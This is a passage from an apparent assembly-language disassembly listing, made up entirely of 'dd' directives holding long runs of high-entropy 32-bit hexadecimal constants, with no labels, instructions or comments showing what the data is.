300D044Ch, 0ACC6313Ch, 62B91C16h, 21C5977Ah, 0C9103E0Eh dd 8B77D4E4h, 0BB3CE560h, 73505377h, 0D25885C0h, 70595F44h dd 0C4313015h, 82940E2Fh, 0E7740455h, 94526EC8h, 0FEC1C83Eh dd 0EBD66045h, 0C24FADADh, 0D1D192EFh, 4C9790F3h, 153693E7h dd 26FA4BB6h, 0FEBA1DCCh, 69901578h, 346551A1h, 19153D32h dd 4F199C57h, 0D0D80967h, 14667336h, 0FF334C62h, 6C15B95Dh dd 573B6FCDh, 3A35E9A3h, 0E0EF3319h, 96E53FF1h, 8B3A1ED7h dd 89307250h, 950E07D1h, 0F4893DB1h, 0C59F56E0h, 925904C7h dd 0FFABC3B3h, 31981570h, 0D0EFA16Bh, 9CAE165Bh, 1EA3DB13h dd 18BCE106h, 81447AAh, 3388C99Bh, 2824C225h, 0E5DE3D97h dd 56B66212h, 5474490Fh, 0B632C48Bh, 79F6942h, 94AEBC98h dd 4BD767AEh, 5B2742C9h, 19CD743Fh, 6BC13AF7h, 20AFBFB3h dd 592E0946h, 0B1986C95h, 261DA72Ah, 62FEA10Eh, 4A64D4DAh dd 58A8C97Ch, 0A5D6F3EBh, 90276E9Dh, 61ED7671h, 8FE89767h dd 0D634FB92h, 61123CE3h, 22BEA1BCh, 55AAD56h, 56B52E9h dd 1FDD20C4h, 3D7CE362h, 1EAED9DCh, 8C8611D7h, 0A507B363h dd 0CE6F72h, 0FAB57CE5h, 3B71DB18h, 0D65D2FFDh, 0EDDBC456h dd 0D01042CDh, 0E08406A8h, 2AAC47E7h, 3CBA73B3h, 0B8F9FA3Bh dd 0EB2543C1h, 6D5D662Bh, 0F6B7C3C9h, 4C8EA66Fh, 13F29704h dd 51D44CF9h, 2D132404h, 9512938Ah, 0FA1ED153h, 3311F2B2h dd 0F2C0A5EBh, 3ABFF277h, 0A6AFDA16h, 0B5BFA253h, 7D070CFFh dd 0E0CEBF3Ch, 37349C95h, 8AA25F4Eh, 0D5AABE8Bh, 7DF95721h dd 2CA9AF71h, 0DAAAAC36h, 0E0D425BAh, 51487A38h, 0B9EF6541h dd 4BCD77C3h, 76B6556Eh, 0AC339504h, 90031DE6h, 0F3979556h dd 0C91D664h, 9A48DCC0h, 874C7791h, 0C644080Ah, 65141D79h dd 0A20D7DEFh, 0FF4AF3AFh, 0B500FD3Eh, 221F137Dh, 5102E52Dh dd 3DF87B33h, 575D800Fh, 0A0871875h, 0F6341C31h, 81D80136h dd 0B9466FFFh, 8A0F83F0h, 779424A7h, 0C5A8E80Ch, 61ED5575h dd 31F95067h, 1A51EE92h, 0B5D510ECh, 0C5EB9C5Dh, 9F902D53h dd 0FB0FAA77h, 892BD943h, 5A528161h, 0D3D218C5h, 1DBB073h dd 2F3FD65Dh, 1D5B566Dh, 0D8CD3647h, 53173623h, 705D3F2Ah dd 0E5C257DEh, 0D9D196FBh, 24D70C60h, 0F1C85ECAh, 6B49725Dh dd 0CB3EEB45h, 0BACCA695h, 0EE1F6F63h, 0D2479367h, 7C9293Fh dd 295812BAh, 0E028EB52h, 1AC6BADDh, 4A88FCE7h, 3981F089h dd 96931E67h, 180670A8h, 31A84EFFh, 0E44C346Ch, 4E9CB7C0h dd 74DD6A6Dh, 266C75A4h, 311C285Eh, 0AF1D4DE5h, 89C73180h dd 0FABB4C3Dh, 8539274Eh, 0DB6ECB7Ch, 0B4D6FF85h, 0EB23F9CFh dd 741FAE32h, 8DE41467h, 4041257Dh, 388709DCh, 0ACF6A21Ch dd 0B448747h, 8B92B60h, 0B6779CDFh, 8C1679EAh, 0FE2093FFh dd 0B5B8551Ch, 3D70B56Fh, 24F5B7D5h, 794AFCFEh, 9C08A85Ah dd 0EA25A00Dh, 404A67E9h, 0CD192AFDh, 0F7CEBC66h, 28C70968h dd 0FC03212Dh, 1D0CB35h, 0C2EEE7BAh, 59116EFAh, 0CB764F73h dd 5167820h, 0E6BE0271h, 8D91A6FBh, 93FAA3DFh, 0AE4E8EB1h dd 44274DA7h, 4BD44DC4h, 5642FA0Dh, 6B3CD1B3h, 0D8320569h dd 17EDE31Ah, 0A1D0407Ah, 0C6774F0Bh, 4E61EDAh, 40E53552h dd 0D7A989F0h, 0FA8864Dh, 0E14F9ED3h, 8A722B8Dh, 0ADF5537Ah dd 0ED26EEF7h, 2BD831EDh, 0C54FBB5Eh, 7911E824h, 65B241ABh dd 484263F4h, 2E6B8B00h, 0EFA83E33h, 28C7908Eh, 5B5E3B65h dd 38212FA1h, 407DE3EFh, 3486CB60h, 0ABEF695h, 3EFF2B82h dd 66871650h, 0E0DA5168h, 0DCD93AACh, 6424A9F6h, 6F5C3A0Dh dd 0A6BBF954h, 0A5A336EBh, 1F468610h, 2713DDADh, 0C126888Bh dd 47F85980h, 0D61909Ah, 7041C487h, 5F58BCF5h, 0B46E05BBh dd 0BACD84Dh, 3A84CA0Bh dd 97AA0E34h, 624CC5A1h, 459A1821h, 0BE1DCCAFh, 9A4E736Ah dd 80AA664Dh, 58A676FAh, 91481C0Ah, 7EA6761Dh, 0C0813844h dd 0E4FE29E3h, 1E2630AAh, 2D23FCCCh, 0FB4DEEECh, 9774AE5Bh dd 0C9C4F043h, 0A6D0CB47h, 0C14D9D95h, 0B866BE78h, 0F003597Dh dd 0ADB587DBh, 615409C8h, 0F3BF7097h, 990239FFh, 8ED8A85Bh dd 1273DCB4h, 0E793068h, 7E958B0h, 50CF2018h, 0BAF1A193h dd 0CA5C28Eh, 7BB5C05Dh, 0ACB872CAh, 0AD302C9Ch, 6A8E9420h dd 11B53B32h, 36707893h, 35825CF3h, 0E4C66711h, 0ADD464E4h dd 88C6B54h, 2B4F4880h, 0A3AF91EEh, 973D22DCh, 410C3FE3h dd 1C10A155h, 139ABE4Dh, 0FE4712FFh, 0A929500Bh, 0D5E8A861h dd 0D850237Eh, 0D86B4C65h, 821C2490h, 0B4307115h, 40E2E6C8h dd 0BAE60164h, 5FF2AC21h, 59208440h, 9AAFECC5h, 1B112A0Eh dd 0C051D9A3h, 246E43E6h, 23127683h, 0D7E223ADh, 0B89ABACCh dd 8CF62025h, 0E6060597h, 1A19B9DAh, 21F38DE2h, 258CF6A4h dd 9D49DDA8h, 0FD153093h, 25CF253Bh, 7DC5FF23h, 48BF2717h dd 0AAEB3E6h, 855E477Dh, 0A4C57CCCh, 0A1E39452h, 4A3CD0F7h dd 0C865BDF9h, 3807912Bh, 699A5EE9h, 8A4F3A1Dh, 23579A38h dd 5822113Bh, 2A14ED59h, 8CCC01DFh, 62993617h, 701BB96Fh dd 51B9352Fh, 0EEF768D4h, 9055AC20h, 22E82C85h, 51D8775Ch dd 2E3A90F0h, 8308CA28h, 0CDF4E3F3h, 31EFFEFEh, 9652C989h dd 119EE231h, 8CB2B639h, 233BB89Fh, 0A2E3C7B5h, 0FFCFD5C4h dd 0B4E278B6h, 0C05208C7h, 0F789C3F1h, 343FDA67h, 20227F9Bh dd 54C6401Fh, 0BE0A5BBAh, 77A09AF9h, 0F77548EAh, 45C79AD5h dd 0EEDD2BFCh, 45C7E0C6h, 0C4E2B9D9h, 158CA0FAh, 1C8F7B33h dd 4AC1FF3h, 39FD24Ah, 6A45D080h, 0B2CD0958h, 0F9FF9BCAh dd 39E025FAh, 0B3631B00h, 0EFECAC5Ch, 4B2BB212h, 0D6C354C6h dd 0B8CDDD50h, 0A01322B6h, 789D2815h, 652A29C3h, 2C1B34CDh dd 6E8C954Ah, 26598516h, 659060B7h, 9730F71Fh, 0CBFBDEC6h dd 0A4D974C2h, 47953E2Eh, 0FF69F4BBh, 6BEACE4Ah, 58FEFE9Bh dd 25275FE6h, 23387202h, 714BA3CBh, 0D94B79C9h, 0DD986361h dd 0F35A19C5h, 459536B8h, 0C8AB534Ah, 6AAB6356h, 68F96DC9h dd 7D74F83Eh, 4F143B66h, 0B1E3CDEAh, 6117B1C3h, 805B8A92h dd 66BB468Ah, 54A8E86Fh, 0AA3E1F92h, 0E0ABB68Ch, 201463F6h dd 15434102h, 93D9ECC9h, 515406A3h, 641BA8FEh, 0A3B75542h dd 6D146979h, 67F13E79h, 0D464D400h, 0E076C095h, 0B9A94EC1h dd 73ADEF36h, 986FBF5Fh, 0F90ABAA4h, 0E932718h, 6DC73A1h dd 1C06A859h, 4EF5B967h, 9737D922h, 0CF1F81E8h, 5DB6BD9Ch dd 993E6355h, 459896FDh, 358CE47Eh, 43844764h, 8654FC8h dd 160503D4h, 0B5942B61h, 5B6D18AEh, 0E5981A4h, 0FDEB72D6h dd 282B8A27h, 3F21DB99h, 1C919A14h, 0B9950D49h, 0B3557850h dd 26AA809Ch, 0A1EA62B3h, 3EA551B3h, 2672EC61h, 0B312F9FFh dd 467127ABh, 0D1BE1445h, 0A4893E49h, 1B4A8E38h, 6CED2B73h dd 0B46C0434h, 8A59C789h, 0B0BB5E7Ch, 3FA2E4C3h, 0FB8BB379h dd 4D4CBAD2h, 3640A1BCh, 848B21Eh, 0DFA96E6Ch, 68B9AF25h dd 40490BBCh, 4B4A5192h, 0B75C58E9h, 79DDDD3Bh, 0BBD47152h dd 33B6A126h, 99BAE1DBh, 15ACDE3Bh, 9EB39B89h, 0E65AFDB3h dd 32E6A147h, 79239205h, 5C7557A2h, 1F1FE113h, 0FE7B3246h dd 58FFE6B8h, 0D3B9D21Ch, 29C8EB1Dh, 9C731E32h, 0F3E497EAh dd 3DC5AABEh, 620751EEh, 92BAAA78h, 0CF168B85h, 50ACEF46h dd 1C2D5252h, 55E30E39h, 8CD4DBE4h, 9F888938h, 18B7CF55h dd 945A8C77h, 74AA4291h, 184C0F85h, 6E7E0C8Eh, 0E2563822h dd 49DC5FC5h, 575C27CDh, 50A20AB4h, 5128ED69h, 0C442ADE2h dd 340E2CAh, 0FDE9F850h, 39EB3C8Fh, 2B50C335h, 0E344A8D9h dd 9A4AF874h, 1D10268Fh, 0ACE2098Eh, 56133A8Bh, 0C96A9D29h dd 84C54C56h, 0D9F5AF99h, 0D22AF2CAh, 0CA75355Eh, 0BCAE5208h dd 5C9E1780h, 0B7220BC7h, 146132B2h, 0E10DE19Ah, 9A32384h dd 53428A49h, 92CBA29h, 50569CA9h, 3EB2D18Dh, 9FC795EAh dd 0AE5397C4h, 0B8E37FDAh, 7A656F1Fh, 0EAF8C167h, 6EA28401h dd 416C42BDh, 79C6CC5Dh, 0EE2E83CDh, 0F69C38Eh, 0D530060Dh dd 0E61AE158h, 370CCFCFh, 3292D58Eh, 6AE808AAh, 7C8FE1CAh dd 0F8EBA772h, 1D2BE738h, 0FB9B29B6h, 0AB14BB19h, 0A75DEFA2h dd 3D15D817h, 4DF3D123h, 0CF6D936Fh, 6FAB96D2h, 0BEDEC362h dd 0F1451AC2h, 90ED9658h, 9C0A7EDh, 484B7BA4h, 3B890CD7h dd 8A2222AAh, 0B48400A8h, 54715736h, 707239A6h, 0A44306CBh dd 0FFEAF9F7h, 11E8424Dh, 0E5B03226h, 0F9B88106h, 5B9F9DB3h dd 60A78323h, 94CE968h, 811AEFD0h, 6D5B7E1Bh, 0C187E6B6h dd 6B494D9Dh, 447137A4h, 0F9A14502h, 94ABB894h, 90694967h dd 0FB4E9B91h, 3336B512h, 260906Ch, 9DEEF2A1h, 1E9A16FFh dd 0D44473C4h, 84B07C6Bh, 0EED73ED9h, 0EDCDCB3Fh, 0CB14484Ah dd 52924CAAh, 27B58F05h, 500C07DBh, 18364B62h, 0D638D6B7h dd 0C8AC34C0h, 1ADDEB6Fh, 0FFA1FFC9h, 2A8F0134h, 25696179h dd 0F3E52DCCh, 1E5CA622h, 29453D5Dh, 28876F5Dh, 0C71755D8h dd 9C3D6402h, 0D58ECEF6h, 58C4E345h, 9BE150E2h, 6AE3D5C3h dd 90DD8484h, 46565FD5h, 0C3E5E661h, 540D21FFh, 0AE78B0C1h dd 4C59B2B6h, 474417A2h, 0D95C9Ch, 998660A1h, 0D7EC64BFh dd 911C26CFh, 3AF113B3h, 402AFF79h, 6D87B5Bh, 51D20938h dd 515762E8h, 48D8B15Dh, 0CB8F0918h, 2C7664A2h, 65F22A83h dd 5916A898h, 721DD937h, 505AD855h, 7DD1D66h, 66D903Dh dd 84BBBA2Ch, 37B240C7h, 0F7B2615Eh, 2837B549h, 0FBD55786h dd 0ABD08807h, 577B341Eh, 0E2DFACF5h, 1177A686h, 0E65982F0h dd 5AFCF5A7h, 7CB21C13h, 53F92528h, 58553552h, 86FB97AFh dd 9A11F358h, 3C96A21Bh, 60EB9358h, 6BBA6CFCh, 0D591BE81h dd 0D520292Ah, 0CFEDE3F8h, 9740947Ch, 0A618AEA7h, 318DB7D0h dd 465F053Dh, 111A77C6h, 426B680Bh, 143D3E71h, 6EE6C94Ah dd 8FEBDB4Bh, 0DB01D8C8h, 25C21796h, 437C4DC5h, 0EA1A6327h dd 0A95765D4h, 1CECE0F2h, 0A5004FC2h, 903026CDh, 6F458B51h dd 7A72E3B8h, 6AAEB94Eh, 8D866D55h, 0FC4DAE2Bh, 34826FAh dd 8C177F2Bh, 6C486228h, 0FC67E571h, 8494C4F7h, 0FA1D08C1h dd 0F8DC1015h, 4C602E79h, 2DD89159h, 170722ABh, 975FCCF8h dd 4A19C527h, 6A66AFB9h, 57B873EDh, 62AE7E79h, 55B09844h dd 8A301487h, 1EDBE149h, 6799278h, 0EE5249A0h, 0CD1955B2h dd 8E1B4F93h, 584F598h, 0EA8064BCh, 0B4FD5349h, 42A8C36Dh dd 85953AF2h, 6160D57h, 834D8BF9h, 0FA3EECD6h, 0B3005A9Ah dd 56C0A38Fh, 2ADCBE2Ch, 850EB568h, 0FF616B23h, 0BD41AE36h dd 0C3940BACh, 7A45FF9Fh, 0A012A252h, 8333A696h, 19DB1E6Ah dd 4E582229h, 0DC1BBFC5h, 0B14A54EEh, 87F3C962h, 8FA15895h dd 8CF49476h, 2BA936CEh, 93F3580Ch, 359D7DA4h, 83684199h dd 29533EDFh, 0FB71678h, 58999492h, 54D689FFh, 5AE361FBh dd 0EDE5F7BBh, 1C5D0F32h, 0E999870Dh, 0C618997Ch, 0BD18964Fh dd 80532061h, 12D00B39h, 98D78F1Bh, 0A83DA77Ah, 9C74CFDAh dd 0A4D4CECCh, 9E3B75A9h, 27E4C096h, 42DA3EA9h, 81D843FCh dd 0BE3EC0BEh, 0F60ABFC9h, 0DBBD46A9h, 7EDE3E89h, 7820E9E8h dd 83AA050Bh, 7EAF75F1h dd 5AF54CEBh, 0B83658Eh, 5DBA1932h, 0C364E2FEh, 0E7A4E1C7h dd 6155B106h, 0DF288E5Ah, 66F4CA41h, 10395AD5h, 1BE6E995h dd 850E251h, 9151B18Eh, 0CDF1A239h, 65A41E02h, 5C5E07CCh dd 7D621104h, 7F36EE9Fh, 0FCA0C589h, 5D74E87Ah, 8AEE7E76h dd 0C36735B4h, 23B689B1h, 0DAF89305h, 4CEB77BBh, 98A78Ah dd 47CDEDB2h, 0A217D37Fh, 8228E5FCh, 7F55BF06h, 791655DBh dd 90D8DE5Eh, 509D6417h, 0CACC378Bh, 436BCE03h, 2ABE2566h dd 72AAAD53h, 0E7A5E7B2h, 0C0B649Dh, 0EF3CDFACh, 9A775FBFh dd 8B7AFC60h, 6B6C31BBh, 775ED440h, 0E64048DFh, 215266FDh dd 5CB3A53Eh, 0EA30B331h, 28C4A528h, 74627493h, 1986581Dh dd 61A6C54Eh, 3956E5C0h, 0F73B47F5h, 0BA89C40Bh, 23347199h dd 0D958046Ah, 0B2FAAFECh, 0CD4A4565h, 2BCCBC62h, 85375F13h dd 12E95A10h, 14DFECA0h, 30F3A8ADh, 2105EE27h, 9DF50123h dd 0B82E3C6Dh, 2E481277h, 2EC936E5h, 0B586060Ah, 8581C697h dd 81DC1110h, 26F181F1h, 735C2506h, 5ABCA5BAh, 2891B782h dd 6A1980E4h, 0BA571D08h, 12773770h, 7DF4C66Ah, 0FD44AB98h dd 0F6816863h, 0B1FF6E12h, 19BF876Bh, 52EA0264h, 7586A258h dd 791C28F1h, 2EE40B3Ah, 34D30D72h, 59D7E93Fh, 466ACF33h dd 0C8A7C5ACh, 0F249A325h, 0B7FFCE78h, 0BDDFFF1Dh, 347FEC01h dd 40E8301h, 3C0406BFh, 0C2595F4Bh, 0BA5DB40Fh, 396A343Ah dd 943E6926h, 5F74BBABh, 3E067C00h, 868AA25Bh, 52530DDCh dd 0A35B6C07h, 111DD7B5h, 0F558CA78h, 2FC0704h, 2DA36E1Dh dd 685CD164h, 0FC646C08h, 26565D6h, 0B1D3A6FBh, 498D760h dd 0B65E0A0Dh, 0D3D0C54Bh, 96AF8134h, 0E958D872h, 68E5216Dh dd 0E723D7C1h, 1B3C3CBDh, 1AB58A31h, 494C53FAh, 1835DD5Fh dd 3DDAE4E9h, 0BA6A4989h, 0CF2AA54Ah, 516603D8h, 5FE7AD6Ah dd 0FAAAA586h, 8ECB95BDh, 68ACC9BEh, 0FB6EF7FDh, 0CF7A7E19h dd 4E0254Fh, 0E35E0E64h, 35015CF7h, 0AAE6AFF3h, 0F0D510FDh dd 3CB11Ch, 0F573D575h, 47E83E7Ah, 83AEAF11h, 123CD9CEh dd 0A56BF626h, 17A0E6A2h, 0FFA2B628h, 0AFF68A03h, 3C9BA125h dd 0CDCA220Ah, 7BAB36B2h, 0DADF8625h, 0B44D18Ch, 0AAE6F51Ch dd 357A7810h, 0FCBFF674h, 7AC8E618h, 54829FB3h, 9D2CB71Bh dd 9854D672h, 0D0527B8Eh, 66B72668h, 0C930F0A2h, 65B0121Ch dd 427533A2h, 265A56A2h, 39813E38h, 0E0D72A21h, 0F2299D23h dd 1268DAACh, 9DD6C26Fh, 58C29E06h, 0B1523216h, 9AD30744h dd 0D603F617h, 65B8C419h, 7C50F064h, 0FCDE9972h, 0AFC8E202h dd 524BBF8Ch, 8D26F040h, 75E926A3h, 8AE19B5Eh, 282D528Bh dd 87C4FC8h, 0A038F858h, 9E3605AFh, 0A322A142h, 0D09E36A6h dd 2B85E43Ah, 641D5DE2h, 9C4CA0B1h, 0EAE69BC5h, 5FFA4560h dd 430DDD7Dh, 1F6678D7h, 7851518h, 0E841CC5Dh, 2101CDAEh dd 0AB270A83h, 196E1334h, 0A3D8E629h, 0CC590B07h, 0BFE9C54Bh dd 9935E93Bh, 0F63FF2D7h, 0FA9FD14Dh, 4B648AF3h, 0F0A84022h dd 5E8E69CCh, 0B897DDA5h, 0D51B4F23h, 707255DFh, 168E61FCh dd 88A2057Dh, 0CEAAC60Bh, 0B3AC3E71h, 58D4E79Eh, 0AA6951ABh dd 9F5D69B0h, 0D0EAEB2h, 0D373266Dh, 4592AC5Ch, 0FD65FA7Fh dd 0A4ABF23Dh, 2A7A2536h, 64DF7CE1h, 6E1DB48Dh, 935F8692h dd 98E173D7h, 38B0E801h, 7E0FCD2h, 0D539774Dh, 6AF334C9h dd 8C733270h, 0D86E41F1h, 0A8BAB68Ah, 16CD4A43h, 469DF151h dd 0F38CFA29h, 84B03004h, 0E5D8BAFCh, 75328ABEh, 0F0FB7824h dd 6F797908h, 88E831BAh, 33B1DC46h, 0B23038D9h, 5E2FBC6Dh dd 428CEE04h, 0B6161D5Ah, 0A62117DEh, 48E6DE32h, 31825C1Dh dd 76640DE1h, 97713575h, 84AB7108h, 7A77BA52h, 36072E23h dd 0D4B4C58h, 0FAB1B5CFh, 0EFA87DBCh, 0A8264BE6h, 7767111Fh dd 0F266F584h, 0B95DA8A3h, 819BB3B6h, 0FF47B9E5h, 4074D027h dd 92CD57ACh, 395C20D5h, 502B2FE4h, 8C90B4EFh, 5B8C0900h dd 263B60B7h, 0C62B9236h, 4C245EE9h, 0CD14E072h, 0E78E7C24h dd 0B295800Ah, 0D3E38452h, 1874FE8Ch, 0C3C18217h, 3347185Dh dd 693303ECh, 6855BD00h, 78D8D94Ch, 5B093C5Ah, 0CA0BE185h dd 36F8FBF6h, 0E0CD66B9h, 8DE3B527h, 49FD289Dh, 46BA7E49h dd 0A7DFE6Dh, 6B71085Ah, 88E8E42Dh, 0AFF7ABF1h, 776FD7F4h dd 62070FEFh, 680AC472h, 53F4F82Dh, 0CFA94A2h, 975EA0D2h dd 9F04EBADh, 110197A1h, 6DB82D7Ah, 557C2FBBh, 0DA09AEF8h dd 0A9049E9Fh, 1F08ECEEh, 0FBC1B9F4h, 0D8DD018Eh, 0CAB1EA22h dd 3A6D18D7h, 262470ADh, 0E712C864h, 0D009E4CBh, 0CC150B49h dd 4B212EF9h, 0BB71CE32h, 87CD0C13h, 258F6B3Fh, 570ED09Ch dd 98AD9C23h, 7A12E004h, 0E1067D0Eh, 0F251E8F9h, 0F9795BC2h dd 0DF239B55h, 0D1E64D33h, 41DE0920h, 351F1DF6h, 60F072F8h dd 0D7A382FDh, 66CC4FEAh, 875F3150h, 0B846CC1h, 0A213DEC9h dd 0BCAFA011h, 0E6F3A150h, 0DF66B870h, 0F23635F4h, 9171ECDDh dd 0D75AC780h, 0C777A190h, 672686C4h, 0CA34022Ah, 0FCD65091h dd 4E95E7D1h, 0C2FADF7Eh, 939750C3h, 23A9156h, 1C943924h dd 639DB4Ch, 1583DF04h, 0D4A90E64h, 3F946D14h, 7FED4316h dd 9CE4A96Eh, 0C0071128h, 0AE4BF6B4h, 0AE3DBE0Eh, 6103F423h dd 4AC11EC4h, 276DAA30h, 51F5D1EDh, 76A356ABh, 39701497h dd 2C1FA8A6h, 23AE76AFh, 0F9B0C08Bh, 6E4EFDB3h, 63DF0AEAh dd 7C67B426h, 0D80B9591h, 556FD029h, 79BE9BBBh, 0EFC16C14h dd 6B1D7334h, 2D9E3B21h, 488308h, 5FE3E6AAh, 0A055819Dh dd 8BECB808h, 0B7EEFDB0h, 998BD030h, 593BE941h, 203A78B0h dd 8ACA8FBDh, 0EB42438h, 0D3C2EBAAh, 7DB4F83h, 0C985928h dd 0EAE4BB3Ah, 0FF541281h, 3B616F0Ah, 7DADF57Dh, 1A903C3Ah dd 953231Bh, 0D5EEDC87h, 178D9199h, 0DF6021EEh, 632A9ED5h dd 0E07E3684h, 63D49F08h, 0E65A2E0Eh, 4FBD6132h, 4DFA3080h dd 0AD5562D0h, 0CCD0B9Fh, 86055283h, 12D712EAh, 3679163Fh dd 73875812h, 224230F0h, 0C17CC671h, 66D32977h, 0EBCC156Bh dd 0EF4C7CACh, 0F7E48F76h, 6900787Eh, 889B11C5h, 752C0888h dd 4B7804B8h, 0E42E42A4h, 5AD1B84Fh, 622B779Dh, 0D839E68Eh dd 0CE430B53h, 0C7FAF54Dh, 6D03FC13h, 6FDEFA4Fh, 0CDB3BD7Fh dd 0EB3A552Dh, 3B4A7A92h, 82DE48AAh, 8A44D96Fh, 31D7F802h dd 0ED461718h, 25C7AF73h, 71D1ECC1h, 614E2B3Ah, 3C1B80C3h dd 0BB362FB2h, 0E5DD2DC0h, 0F91200C0h, 6D241A91h, 0E9C879FEh dd 3589E356h, 16AD381Dh, 5CB7BAD4h, 79ECDD47h, 1E52942Bh dd 3A2E643Dh, 0DDD4BDEh, 0ED413DDDh, 1648A80Eh, 0FA9455C7h dd 0EFEAC756h, 6E05EC23h, 0C23E5FBh, 2499E853h, 0B684A9ABh dd 0F84D0C2Bh, 0E8070342h, 0AB239CBBh, 9DA4FCDDh, 9FEB6DBDh dd 591BE35h, 0E46AFFA5h, 9D9914DDh, 0D7EE49AFh, 4BD65E2Ah dd 0E2C0B675h, 0BF820DC4h, 0B7CAB261h, 541D9793h, 0E592CDA0h dd 206B23D6h, 0E31DEE1Ch, 3606B3F9h, 12F32CD8h, 0A739EE0h dd 0C36FAE15h, 0ACA1C1ABh, 0E5455A74h, 0F0772231h, 2A3C4C96h dd 0A04A7320h, 0EE885B49h, 0C36EE71Bh, 42F73AF8h, 0D9778626h dd 4942F0C9h, 249A21EDh, 5C64E2D3h, 2400DDD2h, 6BF3A3D7h dd 0F762E49Ah, 29536924h, 0C918A7E7h, 0FC15C4EEh, 42BD4C38h dd 0BFC7FECCh, 0C259F4E8h, 15DE10Fh, 6695C47Eh, 0F21A3F0Bh dd 42790B71h, 39D5ADC2h dd 2A373624h, 1D38D372h, 355B150Ah, 7F6A2420h, 1C1DC13Ah dd 3206AE92h, 19C47518h, 0B7BDA743h, 4F056766h, 0A32D9089h dd 0B26DA305h, 437D7BF6h, 0D46445Eh, 0F774F2C6h, 802560AEh dd 0B466CAE3h, 94357B8Ah, 0BC6BF5Bh, 2EEA9536h, 3B46AE96h dd 0F5C490ADh, 9A237ADCh, 0E2D1CB2Ch, 3E57BE42h, 0C668ADE0h dd 68309054h, 0A67FCB3Dh, 5D4EC025h, 0D1B51E8Eh, 9E627A5Dh dd 2FE9AB36h, 54C27F63h, 6398BFCAh, 42E428Ch, 13A14996h dd 81F7D6h, 3C459468h, 0BB6E4632h, 4CB23329h, 7FA388E3h dd 0FE373DDBh, 5F8A9E07h, 9846FE9Ah, 0C240087Eh, 38402C75h dd 362BEEE0h, 0CBC320Bh, 1E9ED0D4h, 0C7DD212h, 6C6F7C66h dd 44DA5F05h, 1875A82Ah, 2E82D67Bh, 0ED1713BCh, 62BEB36Ah dd 0BDFFE77Fh, 0A8146D5Fh, 0A7D8E10Eh, 99025A55h, 4CD96986h dd 7AB90A0Bh, 4B82E039h, 1C933B41h, 0CE7D29FFh, 753DA19Eh dd 4416C7F2h, 0C8EE0401h, 0DFACAC8Dh, 66E3A008h, 9F256697h dd 0D1BAA049h, 0D50BE471h, 721547FEh, 54DDD0E2h, 0D682C6B6h dd 94FC3EE3h, 0F44DE890h, 3D7F593Bh, 0F3D5E6C9h, 1292F998h dd 97D82E7Ch, 7D2FBE72h, 0E49E1D83h, 0E2C13722h, 489A3430h dd 0CAC36417h, 0E72D683Eh, 31C24C67h, 9F8B57EDh, 0CAFA28Bh dd 94D62D59h, 0F07639CAh, 1DEF4229h, 0D813842Eh, 7644A1Ah dd 6E77DFBDh, 7D717E76h, 6B9E1146h, 500E8E9Ch, 0F8BE4C8Ah dd 0EA48924Fh, 80F81302h, 351D8435h, 1B90E244h, 0F09DAC1Bh dd 0B5BD2E5h, 5B6A8621h, 3E10962Ah, 5107A63Ch, 94E2692Ch dd 2BA14FABh, 1C994E5Dh, 0D3A9079Dh, 9F55ACAFh, 4D20932Eh dd 8EF86467h, 0A7F051FEh, 783FF85Ch, 97E35ECAh, 2827A4B1h dd 0FE8ABFF1h, 0D3918EEEh, 0C69AFCE1h, 0DA7F8097h, 0FC35E572h dd 0DC86F9F4h, 38936D1Ah, 835D4705h, 2F586D1h, 0FD1674A2h dd 4A3CB72Ch, 3023C5B5h, 0ECB19F78h, 89416EC7h, 86887EA6h dd 977D27C1h, 3980F3B0h, 0ED0F4DA7h, 5BA38529h, 6EAB2164h dd 0E73CE02Ch, 1AE14DC0h, 84F6D2D4h, 0A4F6473Fh, 17F48764h dd 0CF04AC9Dh, 0F05AC3A5h, 6A860164h, 59F88A44h, 97C76705h dd 0FCEF1ED4h, 0AEB5E4E8h, 0A9281B18h, 10DF249Ch, 6D49E7A8h dd 54631171h, 0CA1EC3CBh, 18868763h, 8CAD48A2h, 0AAA54AACh dd 5844A728h, 0DA0D213Eh, 4D3ADAF7h, 0B31A906Fh, 6A231F98h dd 0E8ED70D4h, 3A79A265h, 56454706h, 58ED940Eh, 849AB83Ah dd 8AEDAE5h, 0D0E817C3h, 0A400D065h, 7B416B12h, 0AEEDB4F7h dd 45ECF9A3h, 21AA8196h, 44A620D3h, 7366D4A2h, 9AFD4F0Eh dd 0ABCBF3FBh, 3EAC3F86h, 0D5685BD7h, 0FEF76A06h, 26A3ECF1h dd 0AC8A582Fh, 0DCF030E6h, 0C9C89C44h, 29776680h, 56853DA2h dd 179EE343h, 70C04150h, 0EAB03C6Ch, 7E86AD7h, 57F21CC7h dd 0EC6AC564h, 6E330219h, 0E1269762h, 0CE20D035h, 73539A29h dd 55EDDD99h, 50B09DAFh, 59BDCE31h, 843C015Fh, 46CBB43Ch dd 315216EBh, 0B6E27464h, 0D6486D04h, 0AECFA87Fh, 59173F9Fh dd 0A2409C2Bh, 233A110Eh, 0C4FA0E69h, 3DF15D1Ch, 54D5180Bh dd 52F3801Bh, 0FAF9E951h, 12DEDB1Ch, 0FBC849B8h, 0D4242D86h dd 547A710Dh, 49D8253Ah, 17D49252h, 2707E708h, 0B2E4C738h dd 0AC84011Fh, 1D662FB4h, 8492C75Eh, 2DBB6BE6h, 6072BFDDh dd 0AF79F25Bh, 0CA24964Ch, 73851317h, 58DC647Fh, 0A9791C0h dd 0E149F0C3h, 0F3717F2Ch, 4981C4CCh, 5D967B49h, 28A1C211h dd 281E6D37h, 0CB3C8F12h, 0B9A3F52h, 0D1501737h, 18BD117Dh dd 0A6769670h, 0D60A4E34h, 73325F8Bh, 4EAEFE7Eh, 0EA5A1910h dd 10B3DCA6h, 32980E6Bh, 329DBA2h, 78A5639Eh, 0DB51464Fh dd 0B3184896h, 7CCE0FE1h, 3330369Eh, 0FFA61F7Dh, 7F711867h dd 5B23DD7Bh, 0C9721C98h, 2A2884EEh, 718F4826h, 0A3F6C215h dd 8CE21266h, 39CC4E81h, 84EB8445h, 3C5E1D42h, 0D08A60E9h dd 35FB4383h, 8B977CBBh, 0CD243263h, 29ADF477h, 0D4516154h dd 627317BEh, 0A3D4BE7Fh, 20FE7AC5h, 99B70F02h, 7FBCF2D5h dd 0C04A7397h, 2633EBBEh, 0B48F0896h, 0EC780127h, 0A5A5970Fh dd 9601394Dh, 0D97463EDh, 8F76F0C4h, 0E646BB08h, 0E283C269h dd 0DFFECEF0h, 0ECF8E382h, 0F5A8C943h, 0C8A1450h, 387F64F3h dd 0E0C26FAFh, 0AC8315DBh, 3B162A5Bh, 5EC54631h, 0D17B8836h dd 98DDE340h, 1F6D9100h, 44C280A4h, 